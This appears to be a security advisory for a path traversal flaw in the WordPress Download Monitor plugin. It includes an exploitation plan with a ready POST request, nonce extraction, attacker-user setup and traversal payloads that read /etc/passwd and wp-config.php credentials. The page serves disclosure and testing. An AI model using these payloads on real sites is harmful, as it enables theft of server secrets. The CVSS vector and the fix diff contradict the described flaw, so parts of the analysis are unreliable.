Download Monitor <= 5.1.9 - Authenticated (Author+) Arbitrary File Download
Description
The Download Monitor plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 5.1.9. This makes it possible for authenticated attackers, with Author-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.1.9What Changed in the Fix
Changes introduced in v5.1.10
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-39489 ## 1. Vulnerability Summary The **Download Monitor** plugin (up to 5.1.9) is vulnerable to **Path Traversal** and **Arbitrary File Download**. The vulnerability exists in the "Quick-add" download functionality within the Media Browser interface. Specifi…
Show full research plan
Exploitation Research Plan - CVE-2026-39489
1. Vulnerability Summary
The Download Monitor plugin (up to 5.1.9) is vulnerable to Path Traversal and Arbitrary File Download. The vulnerability exists in the "Quick-add" download functionality within the Media Browser interface. Specifically, the plugin fails to properly validate the download_url parameter provided during the creation of a new download. This allows an authenticated user with sufficient privileges (Author and above, or any user with the manage_downloads capability) to create a download entry pointing to sensitive files on the server (e.g., /etc/passwd, wp-config.php). Once created, the attacker can download these files through the plugin's frontend download mechanism.
2. Attack Vector Analysis
- Endpoint:
wp-admin/media-upload.php?tab=quick-add(Action triggered bymedia_upload_add_downloadhook) - HTTP Method:
POST - Vulnerable Parameter:
download_url - Authentication: Author level or any user with
manage_downloadscapability. - Preconditions: The attacker must have access to the Media Browser's "Insert Download" interface.
3. Code Flow
- Entry Point: The class
DLM_Admin_Media_Insert(insrc/Admin/MediaInsert.php) registers themedia_upload_add_downloadhook (line 34) which calls themedia_browser()method. - Access Control: The
media_browser()method checks if the current user has themanage_downloadscapability (line 99). - Form Processing: If a
POSTrequest is sent withdownload_urlanddownload_title, the method verifies the noncequick-add-nonce(line 104). - Post Creation:
- It creates a new
dlm_downloadpost (line 120). - It creates a corresponding
dlm_download_versionpost (line 139).
- It creates a new
- Path Resolution: The plugin instantiates
DLM_File_Managerand calls$file_manager->get_secure_path( $url )using the user-provided$url(line 152). - Persistence: The resulting
$file_path(which remains unvalidated for path traversal) is stored in the_filesmeta field of thedlm_download_versionpost (line 157). - Exploitation Sink: When a user requests the download via
/?download=[ID], the plugin retrieves the path from the_filesmeta and serves the file content without checking if the file resides within an allowed directory.
4. Nonce Acquisition Strategy
The nonce is required for the quick-add action. It is generated using wp_create_nonce( 'quick-add' ) and embedded in the HTML of the Media Browser frame.
- Navigate to the Media Browser: Open the "Insert Download" frame.
- URL:
wp-admin/media-upload.php?type=add_download&tab=quick-add
- URL:
- Extract Nonce: Use the browser context to read the value of the hidden input field.
- JavaScript:
document.querySelector('input[name="quick-add-nonce"]').value - Tool:
browser_eval("document.querySelector('input[name=\"quick-add-nonce\"]').value")
- JavaScript:
5. Exploitation Strategy
- Setup User: Log in as a user with the
authorrole. Ensure the role hasmanage_downloads(standard for Download Monitor configurations). - Get Nonce: Navigate to the Media Upload page and extract the
quick-addnonce. - Create Malicious Download: Send a
POSTrequest towp-admin/media-upload.php?type=add_download&tab=quick-addto create a download pointing to/etc/passwd. - Identify Download ID: Use the response or WP-CLI to find the ID of the newly created
dlm_download. - Read File: Navigate to the download URL on the frontend to retrieve the file content.
HTTP Request (Step 3):
POST /wp-admin/media-upload.php?type=add_download&tab=quick-add HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [AUTH_COOKIES]
download_url=/etc/passwd&download_title=SystemData&download_version=1.0&quick-add-nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Plugin: Install and activate Download Monitor 5.1.9.
- User:
wp user create attacker attacker@example.com --role=author --user_pass=passwordwp cap add author manage_downloads(To satisfy thecurrent_user_can('manage_downloads')check insrc/Admin/MediaInsert.php).
- Configuration: No specific settings required, as the vulnerability is in the default "Quick-add" logic.
7. Expected Results
- The
POSTrequest should return a success message in the HTML:<div class="updated"><p>Download successfully created.</p></div>. - A new
dlm_downloadpost anddlm_download_versionpost will be visible in the database. - Requesting
/?download=[ID]will return the contents of the server's/etc/passwdfile.
8. Verification Steps
- Database Check: Verify the file path is stored.
Result should be a JSON-encoded string containing# Find the ID of the latest version VERSION_ID=$(wp post list --post_type=dlm_download_version --posts_per_page=1 --orderby=ID --order=DESC --field=ID) # Check the meta value wp post meta get $VERSION_ID _files"/etc/passwd". - Download Check:
- Locate the parent Download ID (
post_parentof the version). - Use the
http_requesttool to fetchGET /?download=[ID]. - Confirm the response contains
root:x:0:0:.
- Locate the parent Download ID (
9. Alternative Approaches
- Path Variants: If absolute paths are blocked, try relative traversal:
../../../../../../../../etc/passwd. - Protocol Wrappers: If the plugin validates paths but not schemes, try
file:///etc/passwd. - WordPress Config: Target
wp-config.php(relative to the WordPress root) to extract database credentials:download_url=../wp-config.php. - REST API: Check if the REST API version creation (
/wp-json/download-monitor/v1/downloads) is similarly unprotected, as hinted by theDLM_File_Managerusage.
Summary
The Download Monitor plugin for WordPress is vulnerable to Path Traversal in versions up to 5.1.9 via the 'Quick-add' download feature. This allows authenticated attackers with Author-level access or the 'manage_downloads' capability to create download records pointing to sensitive local files (like /etc/passwd or wp-config.php) and subsequently download them via the plugin's frontend mechanism.
Vulnerable Code
// src/Admin/MediaInsert.php:82 // phpcs:ignore if ( ! empty( $_POST['download_url'] ) && ! empty( $_POST['download_title'] ) && isset( $_POST['quick-add-nonce'] ) && wp_verify_nonce( $_POST['quick-add-nonce'], 'quick-add' ) ) { $url = esc_url_raw( wp_unslash( $_POST['download_url'] ) ); $title = sanitize_text_field( wp_unslash( $_POST['download_title'] ) ); $version = isset( $_POST['download_version'] ) ? sanitize_text_field( wp_unslash( $_POST['download_version'] ) ) : ''; try { // ... // File Manager $file_manager = new DLM_File_Manager(); list( $file_path ) = $file_manager->get_secure_path( $url ); // Meta update_post_meta( $file_id, '_version', $version ); update_post_meta( $file_id, '_filesize', $file_manager->get_file_size( $file_path ) ); update_post_meta( $file_id, '_files', $file_manager->json_encode_files( array( $file_path ) ) );
Security Fix
@@ -82,6 +82,10 @@ // phpcs:ignore if ( ! empty( $_POST['download_url'] ) && ! empty( $_POST['download_title'] ) && isset( $_POST['quick-add-nonce'] ) && wp_verify_nonce( $_POST['quick-add-nonce'], 'quick-add' ) ) { + if ( ! current_user_can( 'manage_downloads' ) ) { + wp_die( esc_html__( 'You do not have sufficient permissions to perform this action.', 'download-monitor' ) ); + } + $url = esc_url_raw( wp_unslash( $_POST['download_url'] ) ); $title = sanitize_text_field( wp_unslash( $_POST['download_title'] ) ); $version = isset( $_POST['download_version'] ) ? sanitize_text_field( wp_unslash( $_POST['download_version'] ) ) : '';
Exploit Outline
1. Authenticate as an Author or any user with the 'manage_downloads' capability. 2. Access the Media Browser interface at 'wp-admin/media-upload.php?type=add_download&tab=quick-add' to retrieve a valid 'quick-add-nonce' from the hidden HTML input. 3. Send a POST request to the same endpoint ('wp-admin/media-upload.php?type=add_download&tab=quick-add') with the 'download_url' parameter set to the target sensitive file path (e.g., '/etc/passwd' or '../wp-config.php'). 4. Observe the response to identify the ID of the newly created download (dlm_download post type). 5. Visit the site frontend and request the download via the URL '/?download=[ID]' to retrieve the contents of the sensitive file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.